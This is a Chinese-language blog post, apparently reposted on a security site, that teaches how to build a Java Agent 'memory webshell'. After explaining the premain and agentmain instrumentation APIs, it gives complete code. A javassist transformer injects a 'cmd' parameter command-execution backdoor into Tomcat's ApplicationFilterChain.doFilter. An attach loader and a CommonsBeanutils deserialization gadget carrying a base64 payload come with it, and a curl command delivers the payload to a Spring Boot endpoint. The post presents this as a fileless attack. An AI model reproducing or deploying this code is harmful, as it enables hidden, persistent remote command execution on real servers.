浅谈Agent内存马

admin 2022年11月11日18:51:19浅谈Agent内存马已关闭评论22 views字数 9228阅读30分45秒阅读模式

Java Agent

在JVM中运行中,类是通过classLoader加载.class文件进行生成的。在类加载.class文件生成对应的类对象之前,我们可以通过修改.class文件内容,达到修改类的目的。而在 jdk 1.5之后引入了 java.lang.instrument 包,通过 java.lang.instrument 提供的对字节码进行操作的一系列api,而使用这些api开发出的程序就可以称之为java agent。

agent内存马

agent内存马就是利用上述特性修改特定的类或者方法,从而实现恶意方法的注入。

Java Agent中提供了两种加载方式(方法名相同情况下,拥有Instrumentation inst参数的方法优先级更高):

```
public static void agentmain(String agentArgs, Instrumentation inst) {
  ...
}

public static void agentmain(String agentArgs) {
  ...
}

public static void premain(String agentArgs, Instrumentation inst) {
  ...
}

public static void premain(String agentArgs) {
  ...
}
```

premain 在启动时进行加载(jdk1.5之后)
agentmain 在启动后进行加载 (jdk1.6之后)

premain

在main函数之前调用,并且要求mainfest文件中有Premain-Class属性且利用-javaagent加载。

Demo

先看一下具体如果调用该方法:

先写一个实现premain方法的类,返回传入的参数agentArgs、inst

AgentTest.java

```
import java.lang.instrument.Instrumentation;

public class AgentTest {
   public static void premain(String agentArgs, Instrumentation inst) throws Exception{
       System.out.println(agentArgs);
       System.out.println(inst);
  }
}
```

接着创建 mainfest(注:在前边说到过文件中一定要有Premain-Class属性,其次最后要有空行)

agent.mf

```
Manifest-Version: 1.0
Premain-Class: AgentTest

```

MANIFEST.MF的其他选项:

```
Premain-Class: 包含 premain 方法的类(类的全路径名)
Agent-Class: 包含 agentmain 方法的类(类的全路径名)
Boot-Class-Path: 设置引导类加载器搜索的路径列表。查找类的特定于平台的机制失败后,引导类加载器会搜索这些路径。按列出的顺序搜索路径。列表中的路径由一个或多个空格分开。路径使用分层 URI 的路径组件语法。如果该路径以斜杠字符(“/”)开头,则为绝对路径,否则为相对路径。相对路径根据代理 JAR 文件的绝对路径解析。忽略格式不正确的路径和不存在的路径。如果代理是在 VM 启动之后某一时刻启动的,则忽略不表示 JAR 文件的路径。(可选)
Can-Redefine-Classes: true表示能重定义此代理所需的类,默认值为 false(可选)
Can-Retransform-Classes: true 表示能重转换此代理所需的类,默认值为 false (可选)
Can-Set-Native-Method-Prefix: true表示能设置此代理所需的本机方法前缀,默认值为 false(可选)

```

将AgentTest.java转为字节码文件,之后就是生成需要的jar文件了

javac AgentTest.java
jar cvfm agent.jar agent.mf AgentTest.class

浅谈Agent内存马

前边说到premain是在main函数之前调用的,所以这里再写个带有main的测试类

Hello.java

public class Hello {
   public static void main(String[] args) {
       System.out.println("Hello,Sentiment!");
  }
}

Hello.mf

```
Manifest-Version: 1.0
Main-Class: Hello

```

同样生成字节码文件或得到jar文件

javac Hello.java
jar cvfm hello.jar Hello.mf Hello.class

得到agent.jar 和 hello.jar后,利用-javaagent进行加载。

java -javaagent:agent.jar=Sentiment -jar hello.jar

浅谈Agent内存马

可以看到先执行了premain方法,之后才执行main输出Hello,Sentiment!

整个流程:启动JVM之后查看是否存在jaavaagent参数,如果存在的话则会先执行premain方法再执行main

这种有个比较明显的弊端:若目标服务器已启动,则无法预先加载premain。

Instrumentation

在前边说到agent中用到的两种加载方式,第二种就是agentmain,这种方式就有效的解决了上述premain中提到的弊端。

了解agentmain之前需要先了解Instrumentation

Instrumentation也是premain方法的第二个形参的类型。Instrumentation 是 JVMTIAgent的一部分,Java agent通过这个类可以用来监测和协助运行在 JVM 上的程序,甚至能够替换和修改某些类的定义。

在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据

Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码

下面列举几个使用到的该接口中的方法(参考文档):

addTransformer

注册Class 文件转换器,用于改变 Class 二进制流的数据。

  • transformer - 要注册的转换器
  • canRetransform - 参数用于定义是否允许重新转换。

void addTransformer(ClassFileTransformer transformer, boolean canRetransform);
void addTransformer(ClassFileTransformer transformer);

removeTransformer

删除转换器

  • transformer - 要删除的转换器

boolean removeTransformer(ClassFileTransformer transformer);

retransformClasses

对已加载的类重新定义,达到对已加载的类进行字节码修改的效果。

  • classes - 要重新转换的类数组;允许使用零长度数组,在这种情况下,此方法不执行任何操作

void retransformClasses(Class<?>... classes) throws UnmodifiableClassException

isModifiableClass

测试类是否可通过重转换或重定义进行修改。

  • theClass - 要检查可修改的类

boolean isModifiableClass(Class<?> theClass)

getAllLoadedClasses

返回 JVM 当前装入的所有类的数组。

@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();

agentmain

大致了解后接着看agentmain方法

这种方式只需要将premain的mf文件内容换成Agent-Class即可,例(还是需要注意换行):

```
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: Test

```

它的加载主要通过两个重要的类VirtualMachineVirtualMachineDescriptor,在com.sun.tools.attach中,但我的attach下并没有对应的这两个类,经过寻找发现在lib下有tools.jar,手动导入即可:

浅谈Agent内存马

VirtualMachine

VirtualMachine 可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。该类实现了以下几种方法:

```
public abstract class VirtualMachine {
   // 获得当前所有的JVM列表
   public static List list() { ... }

// 根据pid连接到JVM
   public static VirtualMachine attach(String id) { ... }

// 断开连接
   public abstract void detach() {}

// 加载agent,agentmain方法靠的就是这个方法
   public void loadAgent(String agent) { ... }

}
```

  • list:获取所有JVM列表
  • Attach :允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上
  • loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。
  • Detach:断开连接即解除代理

VirtualMachineDescriptor 就不做探究了,其实就是个描述虚拟机的容器类,配合 VirtualMachine 使用的。

ClassFileTransformer

接着看一下ClassFileTransformer接口。

在addTransformer的第一个参数中见到过

void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

ClassFileTransformer中只有一个transform()方法

public interface ClassFileTransformer {
..............
byte[]
   transform(  ClassLoader         loader,
               String              className,
               Class<?>            classBeingRedefined,
               ProtectionDomain    protectionDomain,
               byte[]              classfileBuffer)
       throws IllegalClassFormatException;
}

先简单理解几个功能即可:

  • Instrumentation.addTransformer()添加转换器后,在加载,重新定义或重新转换类时会调用转换器的transform方法。
  • canRetransform设为true后转换器便拥有了重转换能力
  • 没有加载的类,会使用ClassLoader.defineClass()定义它;已经加载的类,会使用ClassLoader.redefineClasses()重新定义,并配合Instrumentation.retransformClasses进行转换。

了解完后看一下agentmain具体实现:

AgentMain.java

实现agentmain()方法

```
import java.lang.instrument.Instrumentation;

public class AgentMain {
   public static void agentmain(String agentArgs, Instrumentation inst) throws Exception{
       inst.addTransformer(new Transformer(),true);
       System.out.println("Hello,Sentiment!");
  }
}
```

Transformer.java

AgentMain.java中通过addTransformer注册了转换器,而转换器类型是ClassFileTransformer,所以需要继承它并对其重写

```
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Transformer implements ClassFileTransformer {
   @Override
   public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
       System.out.println(className);
       return classfileBuffer;
  }
}
```

AgentMain.mf

加上对应的Agent-Class

```
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: AgentMain

```

Agent-Class外,还多了两个参数Can-Redefine-Classes: true是否支持类的重新替换,Can-Retransform-Classes: true是否支持类的重新定义。

在需要修改已经被JVM加载过的类的字节码的时候必须设置,否则会报错,Can-Redefine-Classes参数在ClassFileTransformer前半部分也有提到。

接着就是生成字节码文件

javac AgentMain.java
javac Transformer.java

生成后打包为jar文件

jar cvfm AgentMain.jar AgentMain.mf AgentDemo.java Transformer.class

浅谈Agent内存马

接着就是测试类

```
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class AgentDemo {
   public static void main(String[] args) throws Exception{
       String path = "AgentMain.jar路径";
       //获取JVM列表
       List list = VirtualMachine.list();
       for (VirtualMachineDescriptor v:list){
           String name=v.displayName();
           //System.out.println(name);
           if (name.contains("AgentDemo")){
               // 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
               VirtualMachine vm = VirtualMachine.attach(v.id());
               System.out.println("id => "+v.id());
               // 将AgentMain.jar 发送给虚拟机
               vm.loadAgent(path);
               // 解除代理链接
               vm.detach();
          }
      }
  }
}
```

结果:输出id后,调用了agentmain方法,并输出了加载的类名

浅谈Agent内存马

基本流程:

先执行main方法输出id —> 通过attach连接后调用loadAgen —> 找到对应的jar后调用agentmain方法 —> 执行完后通过detach解除代理链接

但在JVM 启动时并不会主动加载tools.jar,所以需要我们通过URLClassloader 本地磁盘调用的方式进行加载

先通过classloader获取VirtualMachineVirtualMachineDescriptor

URL[] url = {new URL("file:///C:/Program Files/Java/jdk1.8.0_65/lib/tools.jar")};
java.net.URLClassLoader classLoader = URLClassLoader.newInstance(url);
Class<?> VirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> VirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");

接着就跟之前的类似了,由于是通过classloader获取的方法,所以不能直接调用,这里先通过反射获取list()

Method listMethod = VirtualMachine.getDeclaredMethod("list",null);
List<Object> list = (java.util.List<Object>) listMethod.invoke(VirtualMachine,null);

获取后剩下部分同理获取想要的方法并调用:

String path = "D:\\java\\Java_Security\\src\\main\\java\\AgentMain.jar";
for(int i=0;i<list.size();i++){
   Object o = list.get(i);
   Method displayName = VirtualMachineDescriptor.getDeclaredMethod("displayName",null);
   String name = (String) displayName.invoke(o,null);
   //System.out.println(name);
   if (name.contains("Test")){
       Method getId = VirtualMachineDescriptor.getDeclaredMethod("id",null);
       String id = (java.lang.String) getId.invoke(o,null);
       System.out.println("id => "+id);
       Method attach = VirtualMachine.getDeclaredMethod("attach",new Class[]{String.class});
       Object vm = attach.invoke(o,new Object[]{id});
       Method loadAgent = VirtualMachine.getDeclaredMethod("loadAgent",new Class[]{String.class});
       loadAgent.invoke(vm,new Object[]{path});
       Method detach = VirtualMachine.getDeclaredMethod("detach",null);
       detach.invoke(vm,null);
       break;
  }
}

最终poc

```
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.List;

public class Test {
   public static void main(String[] args) throws Exception{
       try{
           URL[] url = {new URL("file:///C:/Program Files/Java/jdk1.8.0_65/lib/tools.jar")};
           java.net.URLClassLoader classLoader = URLClassLoader.newInstance(url);
           Class<?> VirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
           Class<?> VirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
           Method listMethod = VirtualMachine.getDeclaredMethod("list",null);
           List list = (java.util.List) listMethod.invoke(VirtualMachine,null);

System.out.println("------------ Start ------------");
           String path = "D:\java\Java_Security\src\main\java\AgentMain.jar";
           for(int i=0;i "+id);
                   Method attach = VirtualMachine.getDeclaredMethod("attach",new Class[]{String.class});
                   Object vm = attach.invoke(o,new Object[]{id});
                   Method loadAgent = VirtualMachine.getDeclaredMethod("loadAgent",new Class[]{String.class});
                   loadAgent.invoke(vm,new Object[]{path});
                   Method detach = VirtualMachine.getDeclaredMethod("detach",null);
                   detach.invoke(vm,null);
                   break;
              }
          }
      } catch (Exception e){
           e.printStackTrace();
      }
  }
}
```

成功执行

浅谈Agent内存马

Agent内存马

前边赘述那么多,其实都是为了内存马做准备,在前边也提到过若目标服务器已启动,则无法预先加载premain,所以这里使用的是agentmain注入内存马。

在使用Springboot环境debug后发现,SpringBoot环境中同tomcat一样,会调用ApplicationFilterChain#doFilter()方法,而这个方法学过Tomcat Filter内存马的话一定对其有很深的印象,doFilter方法就是实现Filter内存马的关键方法

浅谈Agent内存马

而这个方法还封装了用户请求的request和response,所以我们就可以尝试使用springboot传入用户请求,并通过response返回请求信息,从而进行注入

```
public void doFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
   if (Globals.IS_SECURITY_ENABLED) {
       ServletRequest req = request;
       ServletResponse res = response;

try {
```

实验环境

使用反序列化方式进行注入,所以加上一个反序列化入口

```
package com.example.springtest.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ObjectInputStream;

@Controller
public class SpringTest {

@ResponseBody
   @RequestMapping("/unser")
   public String unserialize(HttpServletRequest request, HttpServletResponse response) throws Exception {
       java.io.InputStream inputStream =  request.getInputStream();
       ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
       objectInputStream.readObject();
       return "Success!";
  }

@ResponseBody
   @RequestMapping("/demo")
   public String demo(HttpServletRequest request, HttpServletResponse response) throws Exception{
       return "Hello,Sentiment!";
  }
}
```

本次通过cb方法注入

依赖

<dependency>
   <groupId>commons-collections</groupId>
   <artifactId>commons-collections</artifactId>
   <version>3.2.1</version>
</dependency>
<dependency>
   <groupId>commons-beanutils</groupId>
   <artifactId>commons-beanutils</artifactId>
   <version>1.8.3</version>
</dependency>

注入实现

  1. 编写 agent.jar 从而实现 org.apache.catalina.core.ApplicationFilterChain#doFilter 进行字节码修改
  2. 利用 cc11 的反序列化漏洞将我们的加载代码打进去,然后使其执行来加载我们的 agent.jar

首先还是跟前边一样准备AgentMainTransformer

AgentMain.java

```
import java.lang.instrument.Instrumentation;

public class AgentMain {
   public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

public static void agentmain(String agentArgs, Instrumentation ins) {
       System.out.println("agentmain is running......");
       ins.addTransformer(new Transformer(),true);
       Class[] classes = ins.getAllLoadedClasses();
       for (Class clas:classes){
           if (clas.getName().equals(ClassName)){
               try{
                   ins.retransformClasses(new Class[]{clas});
              } catch (Exception e){
                   e.printStackTrace();
              }
          }
      }
  }
}
```

Transformer.java

利用 insertBefore ,将内容插到前边,从而避免对原有程序造成影响

```
import javassist.*;

import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class Transformer implements ClassFileTransformer {
   public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

@Override
   public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
       className = className.replace("/",".");
       if (className.equals(ClassName)){
           //System.out.println(ClassName);
           ClassPool pool = ClassPool.getDefault();
           ClassClassPath classPath = new ClassClassPath(classBeingRedefined);
           pool.appendClassPath(classPath);
           try {
               System.out.println("className:"+className);
               CtClass c = pool.getCtClass(className);
               CtMethod m = c.getDeclaredMethod("doFilter");
               m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" +
                       "javax.servlet.http.HttpServletResponse res = response;\n" +
                       "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
                       "java.lang.String[] cmds = new java.lang.String[]{\"cmd\",\"/c\",cmd};\n"+
                       "if (cmd != null){\n" +
                       "   try {\n" +
                       "       java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\n" +
                       "       java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
                       "       String line;\n" +
                       "       StringBuilder sb = new StringBuilder(\"\");\n" +
                       "       while ((line=reader.readLine()) != null){\n" +
                       "           sb.append(line).append(\"\n\");\n" +
                       "       }\n" +
                       "       response.getOutputStream().print(sb.toString());\n" +
                       "       response.getOutputStream().flush();\n" +
                       "       response.getOutputStream().close();\n" +
                       "   } catch (Exception e){\n" +
                       "       e.printStackTrace();\n" +
                       "   }\n" +
                       "}");
               byte[] bytes = c.toBytecode();
               c.detach();
               return bytes;
          } catch (Exception e){
               e.printStackTrace();
          }
      }
       return new byte[0];
  }
}
```

mvn打包

pom.xml中加上:

```

                       maven-assembly-plugin
           
               
                   src/main/resources/assembly.xml
               

               


           
           
```

然后resources下面写assembly.xml

```

jar-with-dependencies


           jar    

false
   
       
           /
           true
           true
           runtime
           
           
               org.apache.storm:storm-core
           

       

   


```

然后mvn cleanmvn assembly:assembly产生AgentMemory-1.0-SNAPSHOT-jar-with-dependencies.jar

浅谈Agent内存马

接着将jar包中的MF文件内容修改一下(换行):

```
Manifest-Version: 1.0
Can-Redefine-Classes: true
Can-Retransform-Classes: true
Agent-Class: AgentMain

```

浅谈Agent内存马

恶意类Evil.java,跟前边一样依然用URLClassloader 进行本地磁盘调用

```
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.List;

public class Evil  extends AbstractTranslet {
   static {
       try{
           java.lang.String path = "C:\Users\del'l'\Desktop\AgentMemory-1.0-SNAPSHOT-jar-with-dependencies.jar";
           URL[] url = {new URL("file:///C:/Program Files/Java/jdk1.8.0_65/lib/tools.jar")};
           java.net.URLClassLoader classLoader = URLClassLoader.newInstance(url);
           Class<?> VirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
           Class<?> VirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
           Method listMethod = VirtualMachine.getDeclaredMethod("list",null);
           List list = (java.util.List) listMethod.invoke(VirtualMachine,null);

for(int i=0;i " + id);
                   Method attach = VirtualMachine.getDeclaredMethod("attach",new Class[]{java.lang.String.class});
                   Object vm = attach.invoke(o,new Object[]{id});
                   Method loadAgent = VirtualMachine.getDeclaredMethod("loadAgent",new Class[]{java.lang.String.class});
                   loadAgent.invoke(vm,new Object[]{path});
                   Method detach = VirtualMachine.getDeclaredMethod("detach",null);
                   detach.invoke(vm,null);
                   System.out.println("Inject Success!");
                   break;
              }
          }
      } catch (Exception e){
           e.printStackTrace();
      }
  }

@Override
   public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
   public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}
```

生成恶意类Evil.java的字节码文件

javac Evil.java

将字节码文件进行base64加密后放到CB链中,进行动态字节码加载(这里直接用常规的cb方式改下字节码即可)

```
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB {
   public static void main(String[] args) throws Exception {
       //CC3
       Templates templates = new TemplatesImpl();
       byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAfwoAJQA6CAA7BwA8CAA9CgADAD4KAD8AQAgAQQoAPwBCCABDCABECgAdAEUKAEYARwcASAsADQBJCwANAEoIAEsHAEwJAE0ATgoATwBQCABRCgARAFIIAFMHAFQKABcAOggAVQoAFwBWCgAXAFcIAFgHAFkHAFoIAFsIAFwIAF0HAF4KACIAXwcAYAcAYQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwBiAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcATAcAYwcAZAcAWQcAZQcASAcAXgEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMACYAJwEASkM6XFVzZXJzXGRlbCdsJ1xEZXNrdG9wXEFnZW50TWVtb3J5LTEuMC1TTkFQU0hPVC1qYXItd2l0aC1kZXBlbmRlbmNpZXMuamFyAQAMamF2YS9uZXQvVVJMAQA3ZmlsZTovLy9DOi9Qcm9ncmFtIEZpbGVzL0phdmEvamRrMS44LjBfNjUvbGliL3Rvb2xzLmphcgwAJgBmBwBkDABnAGgBACNjb20uc3VuLnRvb2xzLmF0dGFjaC5WaXJ0dWFsTWFjaGluZQwAaQBqAQAtY29tLnN1bi50b29scy5hdHRhY2guVmlydHVhbE1hY2hpbmVEZXNjcmlwdG9yAQAEbGlzdAwAawBsBwBlDABtAG4BAA5qYXZhL3V0aWwvTGlzdAwAbwBwDABxAHIBAAtkaXNwbGF5TmFtZQEAEGphdmEvbGFuZy9TdHJpbmcHAHMMAHQAdQcAdgwAdwBmAQAsY29tLmV4YW1wbGUuc3ByaW5ndGVzdC5TcHJpbmdUZXN0QXBwbGljYXRpb24MAHgAeQEAAmlkAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIBAAdpZCA+Pj4gDAB6AHsMAHwAfQEABmF0dGFjaAEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBAAlsb2FkQWdlbnQBAAZkZXRhY2gBABtBZ2VudC5qYXIgSW5qZWN0IFN1Y2Nlc3MgISEBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAB+ACcBAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAD1tMamF2YS9uZXQvVVJMOwEAF2phdmEvbmV0L1VSTENsYXNzTG9hZGVyAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQALbmV3SW5zdGFuY2UBACooW0xqYXZhL25ldC9VUkw7KUxqYXZhL25ldC9VUkxDbGFzc0xvYWRlcjsBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAEc2l6ZQEAAygpSQEAA2dldAEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAD3ByaW50U3RhY2tUcmFjZQAhACQAJQAAAAAABAABACYAJwABACgAAAAdAAEAAQAAAAUqtwABsQAAAAEAKQAAAAYAAQAAAAwAAQAqACsAAgAoAAAAGQAAAAMAAAABsQAAAAEAKQAAAAYAAQAAADMALAAAAAQAAQAtAAEAKgAuAAIAKAAAABkAAAAEAAAAAbEAAAABACkAAAAGAAEAAAA4ACwAAAAEAAEALQAIAC8AJwABACgAAAHlAAYAEQAAASESAksEvQADWQO7AANZEgS3AAVTTCu4AAZNLBIHtgAITiwSCbYACDoELRIKAbYACzoFGQUtAbYADMAADToGAzYHFQcZBrkADgEAogDPGQYVB7kADwIAOggZBBIQAbYACzoJGQkZCAG2AAzAABE6CrIAEhkKtgATGQoSFLYAFZkAlRkEEhYBtgALOgsZCxkIAbYADMAAEToMsgASuwAXWbcAGBIZtgAaGQy2ABq2ABu2ABMtEhwEvQAdWQMSEVO2AAs6DRkNGQgEvQAeWQMZDFO2AAw6Di0SHwS9AB1ZAxIRU7YACzoPGQ8ZDgS9AB5ZAypTtgAMVy0SIAG2AAs6EBkQGQ4BtgAMV7IAEhIhtgATpwAJhAcBp/8rpwAISyq2ACOxAAEAAAEYARsAIgACACkAAAB2AB0AAAAPAAMAEAAUABEAGQASACAAEwAoABQAMQAVAD0AFwBMABgAVwAZAGEAGgBuABsAdgAdAIAAHgCKAB8AlwAgALEAIQDCACIA1AAjAOUAJAD1ACUA/gAmAQcAJwEPACgBEgAXARgALQEbACsBHAAsASAALgAwAAAALgAF/wBAAAgHADEHADIHADMHADQHADQHADUHADYBAAD7ANH/AAUAAAAAQgcANwQAAQA4AAAAAgA5");
       setFieldValue(templates,"_name","Sentiment");
       setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
       //Commons-Beanutils
       BeanComparator beanComparator = new BeanComparator("outputProperties");

//CC2

TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));

PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
       priorityQueue.add(templates);
       priorityQueue.add(2);

setFieldValue(priorityQueue,"comparator",beanComparator);

serialize(priorityQueue);
       //unserialize("1.ser");
  }
   public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
       Field field = obj.getClass().getDeclaredField(fieldName);
       field.setAccessible(true);
       field.set(obj,value);
  }
   public static void serialize(Object obj) throws IOException {
       ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.ser"));
       out.writeObject(obj);
  }

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
       ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
       Object o = In.readObject();
       return o;
  }
}
```

生成1.ser通过SpringBoot环境传入

curl -v "http://localhost:8080/unser" --data-binary "@./1.ser"

浅谈Agent内存马

传参后提示注入成功:

浅谈Agent内存马

注入成功

浅谈Agent内存马

总结

Agent注入方式主要是通过将jar文件传入到目标服务器进行的注入攻击,注入后我们就可以将jar文件删除,完成真正的无文件落地攻击。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月11日18:51:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   浅谈Agent内存马https://cn-sec.com/archives/1353461.html
  • 目录